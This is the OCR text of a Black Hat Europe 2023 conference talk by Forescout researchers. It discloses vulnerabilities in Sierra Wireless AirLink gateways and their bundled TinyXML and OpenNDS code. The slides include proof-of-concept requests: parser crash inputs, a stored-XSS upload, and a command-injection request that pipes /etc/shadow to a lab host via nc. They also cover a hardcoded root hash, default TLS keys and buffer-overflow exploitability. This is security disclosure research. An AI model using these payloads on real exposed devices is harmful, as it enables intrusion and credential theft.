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Old code dies hard:

Finding new vulnerabilities in old third-party software components and the importance of
having SBoM for IoT/OT devices

Stanislav Dashevskyi, Francesco La Spina

#BHEU @BlackHatEvents



O

blackhat

EURORPE 2023

 Stanislav Dashevskyi

* Francesco La Spina

 Daniel dos Santos

« Amine Amri

* Rob Hulsebos What We Do

- Jos Wetzels /\ 7\
. ChatGPT and DALLE-3* % A 7

*for generating the medieval raccons

Vulnerability Research Threat Reports Threat Intelligence &
Detection

<)FORESCOUT  \/tpere Lass
RESEARCH

Information Classification: General



blgc’:k hat

EURORPE 2023

* Most attacks leverage vulnerabilities in IT infra. The
OT/loT network perimeter has less attention,
could it be as attractive to attackers?

Soetonfuiinuntredontifidamus -
it ﬁ@““!ﬁ({ﬂ%ﬂn‘ﬁe&ﬁueﬁw.
tufitofoarcfmmdutsone Sttt
iEtmSmudariiutimd tupuniiia.

VR R a2

« Manufacturers keep relying upon security through
obscurity and the many eyes principle

* We (among others) hypothesise that potential
attackers are benefiting from these principles
on a much larger scale

* We looked at a popular family of devices that can
be often found at the edge of IT and OT/loT
networks — Sierra Wireless AirLink gateways
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* Why looking at Sierra Wireless gateways in 20237

* Performing a research on (not so) closed-source software
packages

 New vulnerabilities in the old code

* Rooting a device

 Potential impact

Takeaways for researchers and manufacturers

Information Classification: General
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Why looking at Siemra Wireless Airlink
gateways in 2023?
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« SW AirLink is one the most popular brand of
loT/OT gateways (along with Teltonika, InHand,
and MOXA)

« SW devices are also very popular on Shodan
(more on that later)

* These gateways connect critical devices In
electrical substations, oil and gas fields, and
smairt cities

» Used In police vehicles, for industrial asset
monitoring and manufacturing, remote
healthcare locations, and electric vehicle charge
stations

The Top 3 Smart Meter
Manufacturers

4 out of 5 Top 20 utilities >25% of Top 50 transit agency
vehicles

rely on Sierra Wireless modules to manage e AltEHK LTS fOF Stdlt BIG
: depend on Sierra Wireless routers to
and monitor energy usage. deployments and vehicle fleets.

improve passenger services & operations.

166,000,000+

devices shipped worldwide

160+ countries

where our products and services are
deployed.

>50% of Top 100 police 3 out of 4 High Performance EMS
departments systems

rely on Sierra Wireless routers in cruisers and  trust Sierra Wireless routers to support
incident response vehicles. paramedics in the field.

The images are taken from https://www.sierrawireless.com/company/
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« Example: an Axis IP camera connected to an AirLink LX40 gateway

Deployable surveillance over LTE
with Axis and Sierra Wireless

Employing LTE when a traditional network is impractical or unavailable.

. Solution components as shown

Axis Communications

> AXIS Q6315-LE Network Camera
AXIS T98A18-VE Surveillance Cabinet
AXIS T91L61 Wall Mount

AXIS Electrical Safety Kit A 120V AC
25W DC step down transformer

AXIS T8154 60 W SFP Midspan

AXIS T91A03 DIN Rail Clip A

vV V V V V V

Sierra Wireless

> AirLink® LX40 LTE/Wi-Fi router (#1104573)
> 4-in-1 Panel Antenna (#6001285)

> DIN Rail Bracket (#6001221)

* *

The images are taken from https://www.axis.com/

Information Classification: General
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« We found thousands of SW devices exposed via Internet (Shodan)

« We used fingerprints for ACEmanager — a web Ul used for managing the device, which should never be
exposed to Internet

ACEmanager’s favicon:

United States 68,605
Canada 5,580
Australia 3,853
France 2,329

Thailand 1,001

More...

Information Classification: General
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« Has there been any previous vulnerability research?

Disclosure / Year Affected versions Affected components #Vulns
Cisco Talos, 2019 ALEOS priorto 4.4.9,4.940r4.12.0 ACEmanager, snmpd 13
Customer reports, 2019 | ALEOS priorto 4.4.9,4.950r4.12.0 SSH service 1
Internal testing, 2020 ALEOS priorto 4.4.9,4.9.50r4.13.0 ACEmanager, LAN-side RPC 11

server, ALEOS AT command
interface, ALEOS SMS handler,
ALEOS ACEView service
|Oactive, 2020 ALEOS priorto 4.4.9,4.9.5 0r 4.14.0 UpdateRebootMgr service, 2
LAN-side RPC server
Internal testing, 2021 ALEOS 4.4.9 and earlier, ALEOS prior ACEmanager, ALEOS AT 7
to 4.9.6 or4.15.0 command interface, ALEOS SMS
handler
OTORIO, 2022 ALEOS 4.4.9 and earlier (EOL), ACEmanager 2
ALEOS prior to 4.9.8 or 4.16.0

Information Classification: General

No vulnerable
third-party
components?
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Performing research on (not so) closed-
source packages

Information Classification: General
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1. Obtaining devices and
firmware/software
packages.

2.Decrypting/unpacking
software packages.

3. Black-box functional
analysis.

4. Component
identification and
prioritization.

5. Static and dynamic
analysis of selected
binaries and sources.

Information Classification: General
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We focused on devices that ship with ALEOS (AirLink

Enterprise Operating System)

Parts of ALEOS have been well-researched in the

past, but not the third-party components. We also
could not find any SBoMs, so this was an additional

criteria

We picked AirLink LX60 for its versatility, availability,

and a relatively low cost (we could easily get one from

a local reseller)

Firmware package (ALEOS 4.16.0) can be

downloaded from the Sierra Wireless website

Information Classification: General

The images are taken from https://www.sierrawireless.com/

Use Cases

Primary or backup network connectivity for:

@ Retail g Small branch offices
> POS 7% Industrial IoT
Taxis and commercial Building automation

fleets
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* The firmware package for some EOL devices is unencrypted, many internal binaries contain
debugging symbols

: S file ALEOS Software _4.4.9.003.bin
ALEOS Software 4.4.9.003.bin: POSIX tar archive (GNU)

S tar xvf ALEOS Software 4.4.9.003.bin

-

rootfs.tar.gz
images.md5

ulmage
aleos.tar.gz
init.sh
manifest.txt
u-boot-env-params

: S file ./sbin/ACEmanager
. [sbin/ACEmanager: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked,
interpreter /lib/ld-1inux.so0.3, for GNU/Linux 2.6.14, not stripped

* This was extremely helpful in understanding some parts of ALEOS

Information Classification: General
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* The latest ALEOS firmware packages are encrypted dtb- 1x40w

: dtb-1x60
« However, Ruben Santamarta from IOActive Labs has reversed the dtb-1x60w
firmware decryption logic* dtb.recovery
images.md5
: : : : : initramfs.recover
* The firmware Is still using AES CTR without any hardcoded key or IV: it oh o oveH
a = “\x00"*32 manifest. txt
rootfs.sqfs
b = version+seed
copy(a, rounds_shazb6(b), 32) uib-:mt-lximx
7Imaqe
materials = rounds_sha256(a+b) ﬂmgng recovery
iv = materials[0:31]
key = materials[32:63]

Custom “version”

BUILD TYPE=FULL asha2s6_f
7 HLEDS_HERSIGN=4.1E.3.321
ALEOS_UPD VERSION=4.16.0.021
PRODUCT _TYPE=TOYOTA
BOOT VERSION=4.1.15.7
This file contains the information about the radio module firmware
version that is required for this build.

Custom “seed”

unk 107350

A -
e e e el e

There are four identifiers that are required to correctly identify

the target radio module firmware.
'manifest.txt" 339 lines --0%-- 2,1
*https://labs.ioactive.com/2020/09/no-buffers-harmed-rooting-sierra.html

FEEEEE e

sReNeReReReRe e

o
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* We used Docker to set up and run ACEmanager (and some other binaries) originally shipped with
ALEOS 4.16.0 (chroot, modified configs, gemu arm system emulator)

* Very handy to emulate parts of the system, since there were no debugging capabilities on the device

C O [ localhost:1080/admin/ACEmanagerX.html# B v ® & B =
Jun 20 13:22:08 warning ALEOS SYSTEM SM: Resetting bad container: 'Configll.smc'

Development Firmware - Not suitable for Production use

Jun 20 13:22:08 warning ALEOS_SYSTEM_SM: Write header for 'Configll.smc', status:'0’ 1 _ . - o '
Jun 20 13:22:08 notice ALEOS_SYSTEM: Waiting for SM to be Ready... P a This gateway is using the default administrator password. Click here to set the password.
Jun 20 13:22:09 warning ALEOS SYSTEM SM: Error handler corrected for container 'Configll.smc', < 1 A
health:'5' < 1 A .
Jun 20 13:22:09 warning ALEOS SYSTEM SM: Resetting bad shadow: 'Configl2.smc' < 1 SI.nE—quHA AirLink ACEmanager
Jun 20 13:22:09 warning ALEOS SYSTEM SM: Write header for 'Configl2.smc', status:'®’ < s
Jun 20 13:22:10 warning ALEQOS_SYSTEM SM: Error handler corrected for shadow 'Configl2.smc', h < a
ealth:'5' < S Software and Firmware Template Refresh All Rehoot Help Logo
Jun 20 13:22:10 warning ALEOS SYSTEM SM: Resetting bad container: 'SnF11.smc' < m
Jun 20 13:22:10 warning ALEOS_SYSTEM_SM: Write header for 'SnFll.smc', status:'@' < Bl  Status  WANICellular  LAN VPN Security = Services  Events Reporting ~ Applications /O Admin
Jun 20 13:22:11 warning ALEOS SYSTEM SM: Error handler corrected for container 'SnFll.smc', he < s
alth:'s’ < a
Jun 20 13:22:11 warning ALEOS SYSTEM SM: Resetting bad shadow: 'SnF12.smc'’ < s
Jun 20 13:22:11 warning ALEOS_SYSTEM_SM: Write header for 'SnF12.smc', status:'0’ < S Change Password ) .
Jun 20 13:22:12 warning ALEOS_SYSTEM_SM: Error handler corrected for shadow 'SnF12.smc', heal < s AT |Date arcl Times DUOL/1570 00:00:00
th:'5’ < da Advanced AT Status Update Address 0.0.0.0/0
Jun 20 13:22:12 warning ALEQS_SYSTEM SM: Resetting bad container: 'SnF21.smc' < s AT _
Jun 20 13:22:12 warning ALEOS_SYSTEM_SM: Write header for 'SnF21.smc', status:'0' < N Reset Stotus Update Period (seconds) 0
Jun 20 13:22:13 warning ALEOS SYSTEM SM: Error handler corrected for container 'SnF21.smc', he < s AT Power Input Voltage (volts) 0
alth:'s’' < El Radio Tools AT _
Jun 20 13:22:13 warning ALEOS_SYSTEM_SM: Resetting bad shadow: 'SnF22.smc' < s Board Temperature (Celsius) °
Jun 20 13:22:13 warning ALEOS_SYSTEM_SM: Write header for 'SnF22.smc', status:'0’ < s [ AT Radio Module Internal Temperature (Celsius)
iﬁné? 13:22:14 warning ALEOS_SYSTEM SM: Error handler corrected for shadow 'SnF22.smc', heal < s Configure Logging Number of core dumps present o
: < a
Jun 20 13:22:14 notice ALEOS_SYSTEM: Storage Manager is now ready - Continue < 1 Remote Logaing Download Core Dumps
Jun 20 13:22:14 notice ALEOS _SYSTEM: Starting Configuration Manager... < a NAT Helper Disable Off ~
Jun 20 13:22:14 crit ALEOS_SYSTEM_[CSMAccessor]: ACMIMsgQ: /cm mqg_open failed while send 'No s < a View Log Minimum TLS Version TI512 «
uch file or directory' < b o g |
Jun 20 13:22:14 crit ALEOS_SYSTEM_CSM: ACMIMsgQ: /sm mq_open failed while send 'No such file o < Wl Radio Module Firmware ?
r directory' IP Logging
Jun 20 13:22:24 crit ALEOS_SYSTEM _CSM: ACMIMsgQ: /sm mq_open failed while send 'No such file oSy =LA EROEELEL Extended Archiver
r d'LI'ECtOI'y' . (gdb) bt . Diagnostic shell access Disable
Jun 20 13:22:34 err ALEOS_SYSTEM [CSMAccessor]: CSM not responding #0 in (@)
Jun 20 13:22:34 err ALEOS_SYSTEM [CSMAccessor]: CSM request failed (adb) Remote Debug Tunnel DEie v

Information Classification: General
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« ALEOS is large, so we had to prioritize the analysis for the best ROI
for the attackers

« ACEmanager has been found vulnerable in the past, but it's
commonly exposed to the Internet

« AT commands interface (configuration via Telnet) also looked
promising

« Did not find any SBoM, but there are quite a few open source
components shipped along

 No one has looked at how FOSS components are integrated to

ALEOS. TinyXML had only 1 past vulnerability, while OpenNDS had
none.

Information Classification: General

Component Version

OpenVPN 2.9.5
OpenSSL 1.0.2
rp-pppoe 3.10
Dropbear SSH 2020.51
jQuery 1.11.0
OpenNDS 9.11
CoovaChilli 1.4
Strongswan 2.9.5
Dnsmasq 2.64rc?
Tiny XML ~2.6.2
libmicrohttpd ~0.9.75
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New vuinerabilities in the old code

Information Classification: General
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* |n total, we found 21 security bugs that affect ALEOS
and/or integrated open source components

« 15 are found on the open source components (10 affect
ALEOS directly)

Hardcoded credentials, state confusion

Multiple Denial-of-Service issues (DoS)

Stored Cross-Site Scripting (XSS)

Multiple Code / Command Execution issues (RCE)*

*Only 1 affects ALEOS directly

Information Classification: General
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* TinyXML Is a project for parsing XML. It has been completely
replaced by TinyXML-2 a few years ago and is unsupported.

We found that TinyXML is used in ACEmanager (the code Is
compiled into the binary)

We first checked If there are any existing vulnerabilities that
might affect ACEmanager through TinyXML

* We then took the latest code of TinyXML and created a simple
fuzzer with libFuzzer... in a few seconds we got the first results

POST fxml/Connect.xml HTTP/1.1
Host: localhost:16886
Content-Length: 123

xmlns="urn:acemanager">
>
>user</ >
>< 1 [CDATA[12345] ]»</

Information Classification: General
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« CVE-2021-42260 / CVE-2023-40458: infinite loop condition that was never fixed
* The bug report and a simple PoC can be still found on sourceforge:

[

: void TiXmlParsingData::Stamp( char* now, TiXmlEncoding encoding )

{

=]

{( p < now )

unsigned char* pU = ( unsigned char*)p;
(*pU) {
TIXML_UTF_LEAD O: -

( encoding == TIXML_ENCODING UTF8 )
{

{

T
&0
L_:-
g
O
fo
b
]

( *(p+1) & *(p+2) )

( *(pU+1)==TIXML_UTF_LEAD 1 && *(pU+2)==TIXML_UTF_LEAD 2 )

17: p += 3;
18: { *(pU+1)==0xbfl && *(pU+2)==0xbel )
& When p+1 A
( *(pU+1)==0xbfl && *(pU+2)==0xbflU )

W Oor p+2 are S
NULL... { p +=3; ++col; }

POST /xml/Connect.xml HTTP/1.1
Host: localhost:1086
...there is no Content-Length: 15
“else” branch Oxef Oxbb 0xbf 0x0a 0x3c

<f></kek> Oxef 0x01 0x00 ...

i o L L L g L L J % J J . . J
L T Wy I SO W S T S T = T = L TR = L

Information Classification: General
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 CVE-2023-34194 / CVE-2023-40462: a reachable assertion (crash)

char* TiXmlDeclaration::Parse( char* p, TiXmlParsingData* data,

TiXmlEncoding _encoding ) : bool TiXmlBEEE::StringEqual( char¥ p,

char* tag,
p = SkipWhiteSpace( p, _encoding }; 3. bool ignoreCase,
TiXmlEncoding encoding )
TiXmlDocument* document = GetDocument(); :
{ Ip || "*p || !StringEqual( p, "<?xml", true, _encoding ) ) 6 assert( p );

{ . 7: assert( tag );
( document ) document->SetError{ TIXML_ERROR_PARSING DECLARATION, @, @, encoding ); . ( Ip II 1%p )

93
¥ 9: {
( data ) 10 : assert( 8 );
{ . 11: false;
data-»>Stamp({ p, _encoding ); ;
location = data->Cursor();

¥
p += G-

- ¥

version = "";

= (RTINS
encoding = ;
standalone = "";

(p&& *p )
(*p==">") ) o _ . _ ]
s POST /xml/Connect.xml HTTP/1.1
Host: Localhost:1080
Content-Length: 7
p = SkipWhiteSpace( p, _encoding );

[ (Strnesassile, fuersiont, frus, _encoding ) ) el 0x3c 0x3f 0x78 0x6d 0x6¢c Ox0a 0x00

TiXmlAttribute attrib;
p = attrib.Parse( p, data, _encoding );
version = attrib.Value();

{

¥

The “!p II !*p”
check is missing

Information Classification: General
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While looking at the filesystem of ALEOS and ACEmanager,
we found several issues:

CVE-2023-40450: null-pointer dereference when parsing
login credentials in ACEmanager

CVE-2023-40460 and CVE-2023-40461: stored XSS via
unrestricted file upload in ACEmanager

CVE-2023-40464. hardcoded TLS private key and cert used
iIn ACEmanager by default

AL -’:i';-' Lon o g PSS

([
Sl

Lo e.“';;'si«/

CVE-2023-40463: hardcoded root password hash

/
e
b4

Information Classification: General
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 CVE-2023-40460 allows to replace legitimate HTML pages with arbitrary content
« We think, it might be an incomplete fix for CVE-2018-4063

* Requires valid credentials from ACEmanager’s user

POST /cgi-bin/template_upload.cgi HTTP/1.1

Host: 192.168.56.129:1080 Template Close
User-Agent: Mozillas/5.0 (X11; Ubuntu; Linux x86_64; rv:189.0) Geckos20180101 Firefox/118.8

Accept: */" Apply Temol

Accept-Language: en-US,en;q=0.5 pply lempilate

Accept-Encoding: gzip, deflate Upload and apply & template configuration to your device. This will automatically apply the template requiring a reboot after completion.
X-C5RF-Token: BcbiThefT3630arc9352caB23bl15abb0
X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=-----------------c-ceemmmn- 12575322142230347855917248670 | BTDWSE---] dummy.xmi
Content-lLength: 268

DTigil'I! http:HlQE.158.56.129:1@8@ D Reboot after template upload

Connection: keep-alive

Referer: http://192.168.56.129:1080/admin/ACEmanagerX. html Template Upload Complete!

Cookie: token=5803278a70509d36d692a2c9909b7984; csrf-token=bc5775cTT3630arfc9352cal?23b15abbl

Status: Settings Written to Device. Reboot is required!
----------------------------- 12575322142230347855817248670
Content-Disposition: form-data; name="upload-file"; fTilename="dummy .xml1"

Content-Type: text/xml

<?xml version="1.0" 7=
<hello=world=/hello=

----------------------------- 12575322142230347855017248670 - -
HTTP/1.1 200 OK

Date: Fri, 83 Nov 2023 09:20:54 GMT Content-Disposition: Torm-data; name="upload-file"; filename="dummy.xml1"
C tion: cl "
X?Epgﬁe{ggtigng?ESAMEURIEIN EDﬂtEFIt-T‘.."FlE! " tEKt.-';:':rﬂl
Content-Type: text/plain
Successfully uploaded template. <?¥ml version="1.0" 7=
<hello>world</hello=

Information Classification: General
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std: :string: :basie_string(ved4, "Sadmin/", wEO);
- - std: :string: :basiec_string(veé, "auth/user/upload", wvE1l};
o '1_f163 (:()r]tfer]t ()f tr]EE lJF)l()Ei(jEE(j 11'6355 |S; (Eilrr]()sst) r1()t HttpServer: :AddWildcardContent (v1E, w&4, ?hﬂ; 3, ACEmanager: :_CheckAdminPrivileges, al);

if ( vB6[0] 1= w87 )

validated, the files end up IN (PeTater delete (vec[o]);
/var/tmp/acemanager/userupload” operator delete(v54[0]);

v1lS = *{_DWORD #) (al + 4);
std: :string: :basie_string(ve4, "/admin/fteoels/", wB0);
std: :string: :basie_string(veEes, "auth/user/tools", wvE1l);

° .1-r161t f()l(jeer r]Elss Ei S;)/r11|ir]k( EztﬁsifETE;:?idfiid?arannt&nt{vlﬁ; vEd, wiEe, 3, ACEmanager::_CheckAdminPrivileges, al);
“/WWWIaUthluser/U pload” operator delete(vE&[0]);

if ([ vE84[0]) 1= w&5 )
operator delete (vE4[0]);
y . . . . v20 = *{_DWORD #) (al + 4);
« ACEmanager’s binary does a weird thing with  sta::string: :basic_string(ves, "/adgmin/", vs0);
. std: :string: :basie_string(vEes, "auth/viewer", wvE1l};
\A/"(j(:Eir(jE;: HttpServer: : AddWildeardContent (v2Z0, vE4, vEE6, 3, ACEmanager::_CheckNoPrivileges, al);
if [ vEB&[0] 1= va7 )
operator delete(vE&[0]);
if ([ vE84[0]) 1= w&5 )
operator delete (vE4[0]);
v21 = *{ DWORD #*) [(al + 4);
std: :string: :basie_string(ved, "jadmin/", wvEO);
std: :string: :basie_string(ves, "auth/viewer/uplead", v81);
HttpServer: :AddWildecardContent (vZ1l, w84, viE&, 3, ACEmanager::_CheckMNoPrivileges, al);
if [ wvE&[01 1= wv&a7 )

/var/tmp/acemanager/userupload /www/auth/user/upload
/var/tmp/acemanager/viewerupload /www/auth/viewer/upload /admin/
/www/auth/viewer

Information Classification: General
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* You can upload files with any extension (.cgi are not executable after the fix for CVE-2018-4063)

« The content validation Is very easy to bypass

183 if ([ std::string::find(file_contents, "<%?xml wversion=", 0, 14) == -1 )

184 {

1285 LABEL 32:

186 AlecosLogWrite (3, "Uploaded document structure is incorrect or unrecognizable");
187 HttpServer::Send (* (HttpServer **) (al + 4), "Invalid file format");

188 unlink (name[0]) ;

185 goto LABEL_38;

190 }

250 LABEL 38:
351 | Aif ( file_contents[0] 1= w38 )

352 operator delete(file contents[0]);

* If we upload files with exiting filenames, they will be served instead of the original ones

/www/auth/user/upload/ACEmanagerX.html
/www/auth/viewer/ACEmanagerX.html x

/admin/ACEmanagerX.html

Information Classification: General
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O 8 192.168.56.129:108¢/admin/ACEmanagerX.html

POST /cgi-bin/template_upload.cgi HTTP/1.1

Host: 192.168.56.129:1080@

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/s20100101 Firefox/118.0
Accept: */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

X-CSRF-Token: 15fbd63b585750ed96c5e344d74c5e9d

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=--------------------------- 36403764903309292865293292283
Content-Length: 380

Origin: http://192.168.56.129:1080

Connection: keep-alive

Referer: http://182.168.56.129:10806/admin/ACEmanagerX. html

Cookie: token=79beechBfdT33d764eebib3ef3d89T881c; csrf-token=15Ffbd63b585758ed96cheddddT4cheld

O & 192.168.56.129:1080/admin/ACEmanagerX.html w ® L © ﬁ =

----------------------------- 364037649033092928652932092283
Content-Disposition: form-data; name="upload-file"; filename="ACEmanagerX.html"

Content-Type: text/html — e = - - -
| | | | | | | | | | | | | | | |

<?xml version=

I-f_htrrll:.v I

<body= | —

Iqimg src="https://rb.qy/qluei"s>

<img src="devnull" onerror="alert{'ALL YOUR ROUTER BELONGS TO US')"/=
I{.-“bndy;v I ————— e L
</html>

] | | | | | | | | | | | | | | |

----------------------------- 36403764903309292865293292283 - -

HTTP/1.1 2808 OK T
Date: Monm, 02 Oct 2023 13:24:16 GMT

Connection: close

X-Frame-Options: SAMEORIGIN

Content-Type: text/plain

Successfully uploaded template.

Informauon Classincaton: General
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« Upon closer inspection, the filesystem reveals the
default TLS key/cert

« While these can be changed by users, we found about 22K
devices in the wild that didn’t do so

« The private key/cert can be used for spoofing the encrypted
traffic between the affected ACEmanager and its clients

* For instance, as we shown before, credentials are transferred

In the cleartext: CVE-2018-4069, mitigated by recommending
to use HTTPS

Information Classification: General

fetc/ACEmanager/certs/server.key
fetc/ACEmanager/certs/server.crt

United States 18,762
Canada 1,480
Australia 40
France an

Thailand 289

More...
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« There is a diagnostic shell that can be enabled via Pownload Core Dups
. MAT Helper Disable Off
ACEmanager (accessible through SSH) e —
Minimum TLS Version [TLS 12 w |
o : : Ping Ping
* “‘When enabled, this field allows Sierra Wireless Tech P Logging
Support personnel to locally access the diagnostic shell on Extended Arciver

your router [...]J” (st ]

Remote Debug Tunnel | Disable w

« By default the root login is disabled, when the option is
enabled, a hardcoded SHA512 password hash for the
root user is added to the “/etc/shadow” file

* The hash is hardcoded into the cmdexe binary and is very
poorly obfuscated (a substitution cypher)

 Unfortunately, the password seems to have decent
entropy, so we were unable to recover it at the time

Still, we had to find another way to root the device...

Information Classification: General
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[1SSID 1

« ACEmanager allows to set up the WIFi interface as a = 1y capive portal
Captlve portal AT Broadcast SSID Enable
AT Maximum Clients 10
* “A captive portal is a web page accessed with a web AT Allow Clients to See One Another Enable
browser that is displayed to newly connected users of a Wi- AT Adverion WAN Acsees Enable
Fi or wired network before they are granted broader access g o Bnerne Disable_~
to network resources.” * " [Aocees Powt Mot e
AT gp2.11w support Optional
* There is simple (OpenNDS) and authenticated cm B
(CoovacChilli) captive portal [ General
AT Host IP 192.168.17.31
« OpenNDS is an open source captive portal, forked AT 1P Netmask 255.255.255.0
from Nod Og S p I as h AT DHCP Mode Server v
AT DHCP Starting IP 192.168.17.100
AT DHCP Ending IP 192.168.17.250

« \We were very curious about OpenNDS as the project
seems to be mature enough, but it had no public CVEs [ Capive Pora

AT Captive Portal Mode Simple Captive Portal ~

*https://en.wikipedia.org/wiki/Captive_portal

Information Classification: General
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- 2k A A0 TA0TO ~AF ] i A0 rEhBaASe Oso06F
CoOmMmMLT A4 . a 2DGIFEL VT IO 7

We immediately spotted that ALEOS used SR iNEE e
the version 9.1.1, while the latest at the time

Fix - Potential Hu!! pointer segfault in http_microhttpd on calling autenticated()
was 9.10.0

Signed-off-by: Rob White =<rob@blue-wave.net=

SO we deCIded to fIrSt have a IOOk at the : int authenticated(struct MHD Connection *connection,
source code repository for some silent . char *url,

2 t client *client)
patches... |

By having a look at the patch diff we
could quickly understand the root cause

accept = safe calloc(SMALL BUF);
ret = MHD get connection values(connection, MHD HEADER KIND,

The issue does not affect any OpenNDS . et accept catlback Smccepl),
release (e.g., “Accept’ header was not yet (ret <1) { _ _

: 4: debug(LOG ERR, "authenticated: Error getting Accept header");
processed in 9.1) 15 MHD_NO

Nevertheless, we spotted some similar accept & strcmp(accept, "application/captive+json”) == ©)
code and decided to do some variant '
hunting

Information Classification: General
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« We spotted 6 more issues that exhibit the same anti-pattern:

int show preauthpage(struct MHD Connection *connection, char *query)

1

L a2

s_config *config = config get config();

4: char msg[HTMLMAXSIZE];

5: char *user_agent = NULL; .

6 char enc_user_agent[256] = {@8}; user_agent Is NULL

7: char *preauthpath = NULL;

8: char *cmd = NULL;

9:

16: . : :
11:  char enc_query[QUERYMAXLEN + QUERYMAXLEN/2] = {0}; It will remain NULL if
A the header is not
13: int rc;

14: int ret; present

15: struct MHD Response *response;

16: memset(msg, O, (msg));

. _ , _ _ Passing NULL into
18: safe asprintf(&preauthpath, "/%s/", config->preauthdir); . :
19: strlen() will trigger a
20 : (strcmp(preauthpath, config->fas path) == 8) {

21: free (preauthpath); SegfaUIt
22: MHD get connection walues{connection, MHD HEADER KIND, get user agent callback, &user agent);

23: uh_urlencode(enc_user agent, (enc_user_agent), user_agent, strlen(user agent));

24 :

25:

’ ; GET /opennds_preauth/ HTTP/1.1

26: }
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« By design, OpenNDS relies on the ability to execute “external” bash scripts for various purposes

static int _execute ret(char* msg, int msg len, const char *cmd) ./forward _authentication service/binauth/binauth_log.sh
{ ./forward _authentication service/libs/dnsconfig.sh
struct sigaction sa, oldsa; . [forward_authentication service/libs/unescape.sh
EitErcfp; ./forward _authentication service/libs/client params.sh
’ ./forward _authentication_service/libs/libopennds.sh
debug(LOG_DEBUG, "Executing command: %s", cmd); ./forward_authentication_service/libs/get_client_interface.sh
.[forward _authentication_service/libs/get client_ token.sh

./forward authentication service/libs/authmon.sh
debug(LOG DEBUG, "Setting default SIGCHLD handler SIG DFL");
sa.sa_handler = SIG DFL;

sigemptyset(&sa.sa mask);
sa.sa_flags = SA NOCLDSTOP | SA RESTART;
if (sigaction(SIGCHLD, &sa, &oldsa) == -1) {
debug(LOG_ERR, "sigaction() failed to set default SIGCHLD handler: %s", strerror(errno));

}

fp = popen(cmd, "r");

if (fp == NULL) {
debug(LOG_ERR, "popen(): [%s] Retrying..", strerror(errno));
sleep(1);
fp = popen(cmd, "r");

if (fp == NULL) {
debug(LOG_ERR, "popen(): [%s] Giving up..’
rc = -1;
goto abort;

, strerror(errno});

Information Classification: General
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« If the “unescape” callback is enabled in the config, the captive portal allows for arbitrary OS command
execution (CVE-2023-38316)

: size t unescape(void * cls, struct MHD Connection *c, char *src)

2 1

char unescapecmd[ QUERYMAXLEN] = {@};
char msg[QUERYMAXLEN] = {0};

debug(LOG_DEBUG, "Escaped string=%s\n", src);
snprintf(unescapecmd, QUERYMAXLEN, "/usr/lib/opennds/unescape.sh -url
debug(LOG_DEBUG, “unescapecmd=%s\n", unescapecmd);

(execute ret url encoded{msg, (msg) - 1, unescapecmd) == @) {

debug(LOG_DEBUG, "Unescaped string=%s\n", msg);
strcpy(src, msg);

strlen(src);

int execute ret url encoded(char* msg, int msg_len, char *cmd)

1
h

Information Classification: General
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« If the “unescape” callback is enabled in the config, the captive portal allows for arbitrary OS command
execution (CVE-2023-38316)

« We found 4 more issues like this one, none of them affect ALEOS (default config is used)

[

: size t unescape(void * cls, struct MHD Connection *c, char *src)
2 1

char unescapecmd[ QUERYMAXLEN] = {@};

char msg[QUERYMAXLEN] = {6};

debug(LOG_DEBUG, "Escaped string=%s\n", src);
snprintf(unescapecmd, QUERYMAXLEN, "/usr/lib/opennds/unescape.sh -url \"%s\""
debug(LOG_DEBUG, "unescapecmd=%s\n", unescapecmd);

WO 00 =] O W0 B LD ba
" =8 ®® ®® 8&® =8 HE E&

(execute ret _url encoded{msg, (msg) - 1, unescapecmd) == @) {
debug(LOG_DEBUG, "Unescaped string=%s\n", msg);
strcpy(src, msg);

strlen(src);

GET /helloworld™ && cat fetc/shadow | nc 192.168.56.1 1234 || echo "AAA HTTP/1.1
Accept: nothing
User-Agent: none

Information Classification: General
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Rooting a device
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 CVE-2023-41101 / CVE-2023-40465: a stack- (heap-)based buffer overflow
* The vulnerable code originates from Nodogsplash

GET/ HTTP/1.1 Host: localhost

int preauthenticated(struct MHD Connection *connection,
char *url,
t client *client)

s _config *config = config get config();
char *host = config->gw_address;
char *redirect_url;

char query_ str[QUERYMAXLEN] = {9};

char *guery = query str;

QUERYMAXLEN 819

(check_authdir_match(url, config->preauthdir)) { Parses the
debug(LOG_DEBUG, "preauthdir url detected: %s", url); (]LJEBr)/
get guery(connection, &query, QUERYSEPARATOR); F)Eir21rT]€3tEBrE;
ret = show preauthpage(connection, query);
ret;
¥
Calls
(is_foreign hosts(connection, host)) { QJGEt__(llJEBr)/()
debug(LOG_DEBUG, "preauthenticated: foreign host [%s] detected", host])g
redirect to splashpage{connection, client, host, url);
¥
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* It's difficult to estimate the exploitability (depends on so many factors!), what about the LX607?

S file ./rv_soela/emulator/squashfs-rootfusr/local/bin/opennds
v :aelaﬁemulatarﬁ:qu:hfc rootfusr/local/bin/opennds: ELF 32-bit LSB EIECUtdblt ARM, EABIS version 1

(sYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, Tor GNU/Linux 3.2.0, BuildID|[shal]=1a3a
ae25478f6c60dB661035fal99a2b%a46ead3, with debug_info, not stripped

The binary has all the symbols
PIE is not enabled
Lots of other useful binaries inside

NX Is enabled

Other bugs in query string parsing that prevents ROP chains
ASLR iIs enabled (but weak), need to leak some memory

Information Classification: General
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.text:00019854 _debug -7 ‘ OFF v Clear
.text:00019854
-text:00015854 ~ NjcsIGNsaWVudGIwWPTESMi4xNjguMTcuMTAWLCB)bGIIbnRtYWMSONJA6YTUGZTIEYTI6OTI6ZDQsIGdhdGV3Y XluYW1IPWOwZW
O oianes Lotename b 50RFMsIHZIcnNpb2490S4xLjEsIGdhdGV3YXIhZGRyZXNzPTESMidxNjguMTcuMzE6MjAIMCwgZ2F0ZXdheW1hYzOwODozYTo
text:00019854 vlist = —0xCC 40DpmMjpmY TpkYSwgb3JpZ2ludXJsPWhOdHAIM2EIMmYIMmYxMzM3LWg0eDByaGVsbG93b3JsZCUzZiwgY2xpZW50awWY9d
.text: 00019854 ts = -0xC8 WFwWMCwgdGhlbWwVzcGV|PShudWxsKSwgKG51bGwpKG51bGwpKG51bGwpKG51bGwp
-text:00015854 buf = —0xCd Sep 26 08:19:25 debug opennds[1619]: send_redirect_temp: MHD_create_response_from_buffer. url [http://192.168.17.31:2050
.text:00019854 block_chld = -0xAS8 P
